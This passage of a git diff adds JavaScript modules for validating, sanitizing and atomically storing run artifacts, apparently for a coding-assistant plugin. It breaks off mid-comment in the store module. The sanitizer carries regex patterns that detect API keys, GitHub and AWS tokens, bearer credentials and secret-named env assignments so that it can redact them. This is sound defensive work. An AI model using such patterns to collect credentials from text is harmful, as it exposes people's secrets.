ARTIFACT_REF_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: HASH_DIGEST.call(hash, 'hex'), + }); +} + +// Timing-safe verification. Malformed expected values return false instead +// of throwing; invalid references still fail closed with their typed errors. +export function verifyArtifactRefDigestV1(input, expectedDigestHex, path = 'artifact_ref') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== ARTIFACT_DIGEST_HEX_LENGTH + || !sha256HexPatternMatch(expectedDigestHex)) { + return false; + } + const actual = artifactRefDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +// Deterministic total order over parsed references. The tuple order is: +// run_id, assignment_id, artifact_class, artifact_kind, relative_path, +// media_type, content_encoding, sha256, byte_length. Two references compare +// equal only when every field matches, i.e. when they are the same reference. +export function compareArtifactRefsV1(leftInput, rightInput) { + const left = parseArtifactRefV1(leftInput, 'left'); + const right = parseArtifactRefV1(rightInput, 'right'); + let verdict = compareStrings(left.run_id, right.run_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.assignment_id, right.assignment_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_class, right.artifact_class); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_kind, right.artifact_kind); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.relative_path, right.relative_path); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.media_type, right.media_type); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.content_encoding, right.content_encoding); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.sha256, right.sha256); + if (verdict !== 0) return verdict; + return left.byte_length === right.byte_length ? 0 : left.byte_length < right.byte_length ? -1 : 1; +} + +// Deterministic, duplicate-free ordering of a bounded batch of references. +// Every element is fully revalidated and detached BEFORE sorting, so caller +// mutation during or after the call can neither disturb the order nor leak +// into the result. Duplicate references (identical validated content, which +// includes two aliases of one object) reject rather than silently collapse. +export function orderArtifactRefsV1(inputs, path = 'artifact_refs') { + assertNotProxy(inputs, path); + assertDenseJsonArray(inputs, path); + if (inputs.length > MAX_ARTIFACT_REFS) { + fail('refs_exceeded', path, + `${path} carries ${inputs.length} references; at most ${MAX_ARTIFACT_REFS} are allowed.`); + } + const snapshots = []; + const seenCanonical = new Set(); + for (let index = 0; index < inputs.length; index += 1) { + const entryPath = `${path}[${index}]`; + assertNotProxy(inputs[index], entryPath); + const snapshot = parseArtifactRefV1(inputs[index], entryPath); + const key = canonicalJsonStringify(snapshot); + if (seenCanonical.has(key)) { + fail('duplicate_artifact_ref', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(key); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs new file mode 100644 index 0000000..a50d04a --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -0,0 +1,660 @@ +// Streaming artifact sanitizer/writer (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W5-P09. It is a fixed-version writer that accepts +// only a caller-bound intrinsic Buffer/Uint8Array view or a bounded async +// iterable of such views, incrementally UTF-8-decodes the source, applies +// one built-in bounded redaction policy, and publishes BOTH the raw source +// and the sanitized projection through the accepted P08 public store APIs. +// P08 has no raw reader: this module never opens artifact content, never +// walks the store tree, and never invents an unchecked derivation from a +// stored digest. The live caller-bound stream is the only source of bytes. +// +// Contract: +// - Source hardening matches P08 for proxies (live or revoked), subclasses, +// SharedArrayBuffer-backed views, accessor-dressed iterables, strings, +// and arbitrary class instances (including Node streams). In addition, +// own accessors and data overrides on the buffer/byteOffset/byteLength/ +// subarray surface of an otherwise intrinsic view are denied from +// captured descriptors before any of those properties are read or +// called. Every yielded chunk is re-proved intrinsic. +// - Only identity-encoded text media types are sanitized +// (text/plain, text/markdown, application/json, application/x-ndjson). +// application/octet-stream and base64 are refused. +// - The source ArtifactRefV1 must be class "raw". Declared length/digest +// are untrusted claims, hashed from the live stream, and must match +// before anything is published. +// - Incremental UTF-8 decode uses a streaming decoder so a multi-byte +// sequence that straddles ingest chunks is preserved; malformed input +// becomes U+FFFD deterministically. The raw artifact is never retained +// as a whole: ingest slices, a finite decoder carry, and a finite +// redaction overlap are the only live windows. +// - Redaction is a closed built-in policy (credential formats, bearer +// credentials, env assignments, URL credentials, bounded prompt +// removal). Callers cannot supply regex, code, or extra patterns. +// Secrets that straddle chunk boundaries are detected with a finite +// overlap; matches are never split across an emit boundary. +// - Raw 32 MiB and sanitized 256 KiB caps are fail-closed. Crossing +// either cap throws before P08 can commit; the writer never clips. +// - source_truncated is caller-declared provenance. This module does +// not infer truncation from size and does not clip toward the cap. +// - Publication uses only publishArtifactV1 / verifyStoredArtifactV1. +// A stream is safely teed: P08 consumes the inspected iterable while +// the sanitizer hashes, decodes, and redacts the same chunks. A +// buffer source is sanitized first, then both classes are published. +// Replay, conflict, digest, length, and class-separation guarantees +// are exactly P08's. +// - The return is detached deep-frozen content-free provenance: sanitizer +// version, source digest/length, sanitized ref/digest/length, bounded +// redaction counts, and completeness/truncation. Artifact bytes, the +// store root, and OS errors are never echoed. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_REF_SCHEMA_ID, + CONTENT_ENCODINGS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + publishArtifactV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const ARTIFACT_SANITIZER_SCHEMA_ID = 'codex-co-engineer.artifact-sanitizer.v1'; +export const ARTIFACT_SANITIZER_VERSION = 1; +export const ARTIFACT_SANITIZER_POLICY_ID = 'codex-co-engineer.artifact-redaction.v1'; + +export const SANITIZER_MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); + +export const SANITIZER_CONTENT_ENCODING = 'identity'; + +export const ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES = 65_536; +export const ARTIFACT_SANITIZER_OVERLAP_CHARS = 8_192; +export const ARTIFACT_SANITIZER_REPLACEMENT = '[REDACTED]'; + +export const REDACTION_KINDS = capturedFreeze([ + 'credential_formats', + 'bearer_credentials', + 'env_assignments', + 'url_credentials', + 'prompts', +]); + +export const ARTIFACT_SANITIZER_ERROR_CODES = capturedFreeze([ + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_type', + 'missing_key', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', + 'unknown_artifact_class', + 'unknown_key', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const TEXT_DECODER_CTOR = TextDecoder; +const STRING = String; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; +const REGEXP_CTOR = RegExp; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +const OPTION_KEYS = capturedFreeze(['artifact_ref', 'source', 'source_truncated']); +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +// Bounded built-in policy. Every value-consuming pattern is length-capped so +// the finite overlap is sufficient to catch a split token and no caller +// pattern can expand the scan. +const URL_CREDENTIAL_PATTERN = /([a-z][a-z0-9+.-]{0,32}:\/\/)([^\s/@:]{1,256}):([^\s/@]{1,256})@/gi; +const BEARER_PATTERN = /\b(?:Bearer|Basic)[ \t]+[A-Za-z0-9._~+/=-]{8,512}/gi; +const CREDENTIAL_FORMAT_PATTERN = /\b(?:sk|xai)-[A-Za-z0-9_-]{8,256}\b|\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,256}\b|\b(?:AKIA|ASIA)[A-Z0-9]{16}\b|\bcrsr_[A-Za-z0-9_-]{12,256}\b/g; +const ENV_ASSIGNMENT_PATTERN = /\b((?:[A-Za-z][A-Za-z0-9]*[_-])*(?:api[_-]?key|access[_-]?token|refresh[_-]?token|authorization|bearer|credential|password|secret|token|private[_-]?key))(\s*[:=]\s*)(?:"[^"]{0,512}"|'[^']{0,512}'|[^\s,;'"&]{1,512})/gi; +const PROMPT_PATTERN = /((?:["']prompt["']|\bprompt)(\s*[:=]\s*))(?:"(?:\\.|[^"\\]){0,4096}"|'(?:\\.|[^'\\]){0,4096}'|[^\s,;{}"']{1,4096})/gi; + +const POLICY = capturedFreeze([ + capturedFreeze({ + kind: 'url_credentials', + pattern: URL_CREDENTIAL_PATTERN, + replace(match) { return `${match[1]}${ARTIFACT_SANITIZER_REPLACEMENT}@`; }, + }), + capturedFreeze({ + kind: 'bearer_credentials', + pattern: BEARER_PATTERN, + replace(match) { return `${match[0].split(/[ \t]/u, 1)[0]} ${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), + capturedFreeze({ + kind: 'credential_formats', + pattern: CREDENTIAL_FORMAT_PATTERN, + replace() { return ARTIFACT_SANITIZER_REPLACEMENT; }, + }), + capturedFreeze({ + kind: 'env_assignments', + pattern: ENV_ASSIGNMENT_PATTERN, + replace(match) { return `${match[1]}${match[2]}${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), + capturedFreeze({ + kind: 'prompts', + pattern: PROMPT_PATTERN, + replace(match) { return `${match[1]}${ARTIFACT_SANITIZER_REPLACEMENT}`; }, + }), +]); + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSanitizer(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function emptyCounts() { + return { + credential_formats: 0, + bearer_credentials: 0, + env_assignments: 0, + url_credentials: 0, + prompts: 0, + }; +} + +function addCounts(target, extra) { + target.credential_formats += extra.credential_formats; + target.bearer_credentials += extra.bearer_credentials; + target.env_assignments += extra.env_assignments; + target.url_credentials += extra.url_credentials; + target.prompts += extra.prompts; +} + +function isHighSurrogate(code) { + return code >= 0xd800 && code <= 0xdbff; +} + +function isLowSurrogate(code) { + return code >= 0xdc00 && code <= 0xdfff; +} + +// Deterministic well-formed projection: unpaired UTF-16 surrogates become +// U+FFFD so sanitized UTF-8 never carries an unpaired surrogate. Astral +// pairs are preserved intact. +function wellFormedText(value) { + const text = STRING(value ?? ''); + if (typeof text.toWellFormed === 'function') return text.toWellFormed(); + let output = ''; + for (let index = 0; index < text.length; index += 1) { + const code = text.charCodeAt(index); + if (isHighSurrogate(code) && isLowSurrogate(text.charCodeAt(index + 1))) { + output += text.slice(index, index + 2); + index += 1; + } else if (isHighSurrogate(code) || isLowSurrogate(code)) { + output += '\uFFFD'; + } else { + output += text[index]; + } + } + return output; +} + +function makeDecoder() { + return new TEXT_DECODER_CTOR('utf-8', { fatal: false, ignoreBOM: false }); +} + +function flagsWithGlobal(pattern) { + return capturedTest(/g/u, pattern.flags) ? pattern.flags : `${pattern.flags}g`; +} + +function findAllMatches(text) { + const matches = []; + for (let index = 0; index < POLICY.length; index += 1) { + const policy = POLICY[index]; + const regex = new REGEXP_CTOR(policy.pattern.source, flagsWithGlobal(policy.pattern)); + regex.lastIndex = 0; + let matched = regex.exec(text); + while (matched !== null) { + if (matched[0].length === 0) { + regex.lastIndex += 1; + matched = regex.exec(text); + continue; + } + matches.push({ + index: matched.index, + length: matched[0].length, + end: matched.index + matched[0].length, + kind: policy.kind, + replacement: policy.replace(matched), + priority: index, + }); + matched = regex.exec(text); + } + } + return matches; +} + +// Overlapping matches keep the higher-priority policy (URL > bearer > +// credential format > env > prompt) so `Authorization: Bearer …` redacts +// as a bearer credential instead of an env assignment that would leave +// the token behind the first space. +function selectMatches(matches) { + const ordered = matches.slice(); + ordered.sort((left, right) => (left.index - right.index) || (left.priority - right.priority)); + const selected = []; + for (let index = 0; index < ordered.length; index += 1) { + const match = ordered[index]; + let conflict = false; + for (let cursor = selected.length - 1; cursor >= 0; cursor -= 1) { + const previous = selected[cursor]; + if (previous.end <= match.index) continue; + if (match.priority < previous.priority) { + selected.splice(cursor, 1); + } else { + conflict = true; + break; + } + } + if (!conflict) selected.push(match); + } + selected.sort((left, right) => left.index - right.index); + return selected; +} + +function redactRegion(text) { + const counts = emptyCounts(); + const selected = selectMatches(findAllMatches(text)); + let output = ''; + let from = 0; + for (let index = 0; index < selected.length; index += 1) { + const match = selected[index]; + output += text.slice(from, match.index); + output += match.replacement; + counts[match.kind] += 1; + from = match.end; + } + output += text.slice(from); + return { text: output, counts }; +} + +// ---- Binary source hardening (P08 local copy plus own-surface checks). ----- + +// Own accessors or data properties on these keys shadow the intrinsic +// TypedArray/Buffer surface. Inspect captured descriptors only: a getter +// must not run, and an overridden buffer/length/subarray must not be used. +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function denyNonIntrinsicView(code) { + if (code === 'artifact_stream_invalid_chunk') { + failSanitizer('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + failSanitizer('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function classifySource(source) { + if (isIntrinsicBinaryView(source)) return { kind: 'bytes', value: source }; + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSanitizer('proxy_denied', 'source', 'The artifact source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; + } + denyNonIntrinsicView('artifact_stream_invalid_source'); +} + +function createSession(declaredLength) { + return { + decoder: makeDecoder(), + hash: CREATE_HASH('sha256'), + received: 0, + declaredLength, + pending: '', + sanitizedChunks: [], + sanitizedBytes: 0, + counts: emptyCounts(), + }; +} + +function emitSanitized(session, text) { + if (text.length === 0) return; + const bytes = BUFFER_FROM(text, 'utf8'); + if (session.sanitizedBytes + bytes.byteLength > MAX_SANITIZED_ARTIFACT_BYTE_LENGTH) { + failSanitizer('artifact_stream_over_cap', 'sanitized', + `The sanitized projection exceeds the ${MAX_SANITIZED_ARTIFACT_BYTE_LENGTH}-byte class cap; nothing was published.`); + } + session.sanitizedChunks.push(bytes); + session.sanitizedBytes += bytes.byteLength; +} + +function commitPending(session, isFinal) { + const text = session.pending; + if (text.length === 0) return; + const overlap = isFinal ? 0 : ARTIFACT_SANITIZER_OVERLAP_CHARS; + const limit = isFinal ? text.length : MATH_MAX(0, text.length - overlap); + if (limit === 0 && !isFinal) return; + + let commitEnd = limit; + if (!isFinal) { + const selected = selectMatches(findAllMatches(text)); + for (let index = 0; index < selected.length; index += 1) { + const match = selected[index]; + if (match.index < limit && match.end > limit) { + commitEnd = MATH_MIN(commitEnd, match.index); + break; + } + } + } + + if (commitEnd <= 0) return; + const region = text.slice(0, commitEnd); + const redacted = redactRegion(region); + addCounts(session.counts, redacted.counts); + emitSanitized(session, redacted.text); + session.pending = text.slice(commitEnd); +} + +function feedDecoded(session, decoded) { + if (decoded.length === 0) return; + session.pending += wellFormedText(decoded); + commitPending(session, false); +} + +function feedView(session, view, denialCode = 'artifact_stream_invalid_source') { + if (hasOwnIntrinsicViewSurfaceOverride(view)) denyNonIntrinsicView(denialCode); + const size = view.byteLength; + if (size > MAX_RAW_ARTIFACT_BYTE_LENGTH - session.received) { + failSanitizer('artifact_stream_over_cap', 'source', + `The artifact stream exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte class cap; nothing was published.`); + } + if (session.received + size > session.declaredLength) { + failSanitizer('artifact_length_mismatch', 'source', + 'The artifact stream grew past its declared byte length; publication is refused.'); + } + let offset = 0; + while (offset < size) { + const end = MATH_MIN(offset + ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES, size); + const slice = view.subarray(offset, end); + if (slice.byteLength > 0) session.hash.update(slice); + const decoded = session.decoder.decode(slice, { stream: true }); + feedDecoded(session, decoded); + offset = end; + } + session.received += size; +} + +function finishSession(session) { + const tail = session.decoder.decode(); + feedDecoded(session, tail); + commitPending(session, true); + if (session.received !== session.declaredLength) { + failSanitizer('artifact_length_mismatch', 'artifact_ref.byte_length', + 'Actual artifact length does not match the declared byte length; nothing was published.'); + } + const digest = session.hash.digest('hex'); + session.digest = digest; + if (session.sanitizedBytes < MIN_ARTIFACT_BYTE_LENGTH) { + failSanitizer('sanitizer_empty_output', 'sanitized', + 'The sanitized projection is empty; nothing was published.'); + } + session.sanitized = session.sanitizedChunks.length === 1 + ? session.sanitizedChunks[0] + : BUFFER_CONCAT(session.sanitizedChunks, session.sanitizedBytes); + // Drop live windows so the raw source cannot be reconstructed later. + session.pending = ''; + session.sanitizedChunks = []; + session.decoder = null; + return digest; +} + +async function* inspectAndForward(iterable, session) { + try { + for await (const chunk of iterable) { + if (!isIntrinsicBinaryView(chunk)) { + denyNonIntrinsicView('artifact_stream_invalid_chunk'); + } + feedView(session, chunk, 'artifact_stream_invalid_chunk'); + yield chunk; + } + finishSession(session); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The artifact sanitizer options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(OPTION_KEYS, keys[index])) { + failSanitizer('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed sanitizer vocabulary.`); + } + } + if (!hasOwn(input, 'artifact_ref')) { + failSanitizer('missing_key', 'options.artifact_ref', + 'options.artifact_ref is required; the sanitizer binds one raw ArtifactRefV1.'); + } + if (!hasOwn(input, 'source')) { + failSanitizer('missing_key', 'options.source', + 'options.source is required; the sanitizer never reads stored raw artifacts.'); + } + + const snapshot = parseArtifactRefV1(ownDataValue(input, 'artifact_ref', 'options.artifact_ref'), + 'artifact_ref'); + if (snapshot.artifact_class !== 'raw') { + failSanitizer('unknown_artifact_class', 'artifact_ref.artifact_class', + 'The sanitizer source reference must be artifact_class "raw".'); + } + if (!capturedIncludes(SANITIZER_MEDIA_TYPES, snapshot.media_type)) { + failSanitizer('sanitizer_media_type_denied', 'artifact_ref.media_type', + 'The sanitizer accepts only identity-encoded text media types.'); + } + if (snapshot.content_encoding !== SANITIZER_CONTENT_ENCODING) { + failSanitizer('sanitizer_content_encoding_denied', 'artifact_ref.content_encoding', + `The sanitizer accepts only content_encoding "${SANITIZER_CONTENT_ENCODING}".`); + } + if (!capturedIncludes(CONTENT_ENCODINGS, snapshot.content_encoding)) { + failSanitizer('sanitizer_content_encoding_denied', 'artifact_ref.content_encoding', + 'The sanitizer accepts only identity encoding.'); + } + + let sourceTruncated = false; + if (hasOwn(input, 'source_truncated')) { + const flagged = ownDataValue(input, 'source_truncated', 'options.source_truncated'); + if (flagged !== true && flagged !== false) { + failSanitizer('invalid_type', 'options.source_truncated', + 'options.source_truncated must be an exact boolean when present.'); + } + sourceTruncated = flagged === true; + } + + const source = ownDataValue(input, 'source', 'options.source'); + const classified = classifySource(source); + return { snapshot, classified, source, sourceTruncated }; +} + +function buildSanitizedRef(rawSnapshot, sanitizedBytes, digest) { + return parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: rawSnapshot.run_id, + assignment_id: rawSnapshot.assignment_id, + artifact_kind: rawSnapshot.artifact_kind, + artifact_class: 'sanitized', + relative_path: rawSnapshot.relative_path, + byte_length: sanitizedBytes.byteLength, + sha256: digest, + media_type: rawSnapshot.media_type, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'sanitized_ref'); +} + +function provenanceFor(rawSnapshot, session, sanitizedRef, sourceTruncated) { + return freezeData({ + schema: ARTIFACT_SANITIZER_SCHEMA_ID, + sanitizer_version: ARTIFACT_SANITIZER_VERSION, + policy_id: ARTIFACT_SANITIZER_POLICY_ID, + source_digest: session.digest, + source_byte_length: session.received, + raw_ref: rawSnapshot, + sanitized_ref: sanitizedRef, + sanitized_digest: sanitizedRef.sha256, + sanitized_byte_length: sanitizedRef.byte_length, + redaction_counts: freezeData({ ...session.counts }), + complete: sourceTruncated !== true, + source_truncated: sourceTruncated === true, + }); +} + +function assertDeclaredDigest(session, snapshot) { + if (session.digest !== snapshot.sha256) { + failSanitizer('artifact_digest_mismatch', 'artifact_ref.sha256', + 'Actual artifact bytes do not hash to the declared SHA-256; nothing was published.'); + } + if (typeof snapshot.sha256 !== 'string' || !capturedTest(PRIVATE_SHA256_PATTERN, snapshot.sha256)) { + failSanitizer('artifact_digest_mismatch', 'artifact_ref.sha256', + 'The declared source digest is not a SHA-256.'); + } +} + +async function publishPair(store, rawSnapshot, rawSource, sanitizedRef, sanitizedBytes) { + await publishArtifactV1(store, rawSnapshot, rawSource); + await publishArtifactV1(store, sanitizedRef, sanitizedBytes); + await verifyStoredArtifactV1(store, rawSnapshot); + await verifyStoredArtifactV1(store, sanitizedRef); +} + +export async function sanitizeAndPublishArtifactV1(store, input) { + const { snapshot, classified, source, sourceTruncated } = parseOptions(input); + const session = createSession(snapshot.byte_length); + + if (classified.kind === 'bytes') { + feedView(session, classified.value); + finishSession(session); + assertDeclaredDigest(session, snapshot); + const sanitizedDigest = CREATE_HASH('sha256').update(session.sanitized).digest('hex'); + const sanitizedRef = buildSanitizedRef(snapshot, session.sanitized, sanitizedDigest); + await publishPair(store, snapshot, source, sanitizedRef, session.sanitized); + return provenanceFor(snapshot, session, sanitizedRef, sourceTruncated); + } + + const inspected = inspectAndForward(classified.value, session); + try { + await publishArtifactV1(store, snapshot, inspected); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } + if (typeof session.digest !== 'string') { + failSanitizer('artifact_stream_failed', 'source', + 'The artifact stream ended before sanitizer finish; nothing was published.'); + } + assertDeclaredDigest(session, snapshot); + const sanitizedDigest = CREATE_HASH('sha256').update(session.sanitized).digest('hex'); + const sanitizedRef = buildSanitizedRef(snapshot, session.sanitized, sanitizedDigest); + await publishArtifactV1(store, sanitizedRef, session.sanitized); + await verifyStoredArtifactV1(store, snapshot); + await verifyStoredArtifactV1(store, sanitizedRef); + return provenanceFor(snapshot, session, sanitizedRef, sourceTruncated); +} + +capturedFreeze(sanitizeAndPublishArtifactV1); +capturedFreeze(SANITIZER_MEDIA_TYPES); +capturedFreeze(REDACTION_KINDS); +capturedFreeze(ARTIFACT_SANITIZER_ERROR_CODES); diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs new file mode 100644 index 0000000..231dab7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -0,0 +1,1670 @@ +// Atomic raw/sanitized artifact store (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W4-P08. It binds validated ArtifactRefV1 +// declarations to real bytes on disk under one caller-supplied existing +// PRIVATE store root, and it answers exactly three questions fail-closed: +// +// 1. publish - do these bytes match this reference's declared claims, and +// can they become the one authoritative artifact at this +// reference's location atomically, idempotently, and without +// ever overwriting or partially exposing an artifact? +// 2. verify - does the stored artifact at one reference's location still +// stream back to exactly its recorded length and digest? +// 3. audit - is the whole bounded store tree structurally sound, free of +// foreign, torn, linked, or swapped entries, and fingerprint- +// identical across restarts? +// +// Storage layout under the private root - two disjoint class namespaces, so +// a raw artifact and a sanitized projection can never collide even at the +// same validated relative path: +// +// /raw/content/ authoritative bytes +// /raw/meta/.json authoritative sidecar +// /sanitized/content/ +// /sanitized/meta/.json +// +// The relative path is never reinterpreted: it arrives already validated by +// the accepted P07 grammar (relative, forward-slash, NFC, no dot aliases, no +// reserved device stems, no controls/invisibles/separator look-alikes), and +// this module maps it segment-for-segment beneath the class namespace. +// There is no parallel ref schema and no parallel path schema: references +// are parsed with parseArtifactRefV1 and nothing else, so traversal, +// absolute paths, device names, and Unicode tricks inherit the P07 denials +// verbatim while well-formed astral names stay legal. +// +// Publication contract: +// - The source is a caller-supplied intrinsic Buffer/Uint8Array view or a +// bounded async iterable of such views. Proxies, exotic prototypes, +// SharedArrayBuffer-backed or subclass views, strings, accessor-shaped +// iterables, and arbitrary class instances are denied before any byte is +// read. +// - Declared byte_length and sha256 are UNTRUSTED CLAIMS. Bytes stream +// straight into a private unpredictable same-directory temporary file +// while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced on +// every chunk BEFORE that chunk is written, so no declaration or hostile +// stream can cause an over-allocation. Actual length and SHA-256 are +// computed from the streamed bytes and must match the declared claims +// exactly before anything is published. +// - The temporary file is fsynced, then published by exclusive hardlink +// onto its final name (link(2) refuses to clobber), the temporary name +// is unlinked, and the parent directories are fsynced. There is no +// window in which a partial artifact exists under an authoritative name. +// - Exact same validated ref plus bytes is IDEMPOTENT: the loser of a race +// re-verifies the winner's stored state and returns an equal receipt +// marked created:false. Conflicting content at one location, the same +// digest with mismatched metadata, or any other competing publication +// fails closed with a typed content-free error and leaves the +// authoritative state untouched (a race loser rolls its own just-linked +// content back, but only after the platform proves the inode is ours). +// - Roots and parents use descriptor/no-follow discipline: the root must +// be an existing real owner-owned group/other-private directory opened +// O_NOFOLLOW|O_DIRECTORY|O_NONBLOCK and identity-bracketed by +// device/inode; every namespace and parent component is lstat-walked, +// created 0700 when missing, and re-proven after publication, so root, +// namespace, and parent swaps are rejected wherever the platform can +// prove them. +// +// Verification and audit stream content in fixed chunks solely to recompute +// length and digest - artifact bytes are never returned, echoed, or buffered +// whole. Enumeration is bounded (per-directory entries, total files per +// namespace, nesting depth, and total streamed audit bytes), sidecars are +// bounded and strictly parsed, and symlinks, hardlinks, FIFOs/devices, +// leftover or torn temporaries, orphaned or missing sidecars, foreign names, +// oversized or truncated content, malformed metadata, and content swapped +// under a path are all rejected with typed errors. +// +// Results are detached deep-frozen metadata only: never artifact bytes, +// never the store root or any path derived from a reference, and never an +// operating-system error string. Errors carry stable codes from a closed +// vocabulary plus fixed validator-style field labels. +// +// A narrow additive serialized range-read hook (readStoredSanitizedRangeV1) +// exists so the P10 model-facing reader can, in one store operation, +// no-follow open a regular single-link sanitized artifact, re-validate +// sidecar/ref/identity/size/digest, hash the whole file in fixed chunks +// while retaining only the requested bounded range, and prove before/after +// stability. The hook never returns raw 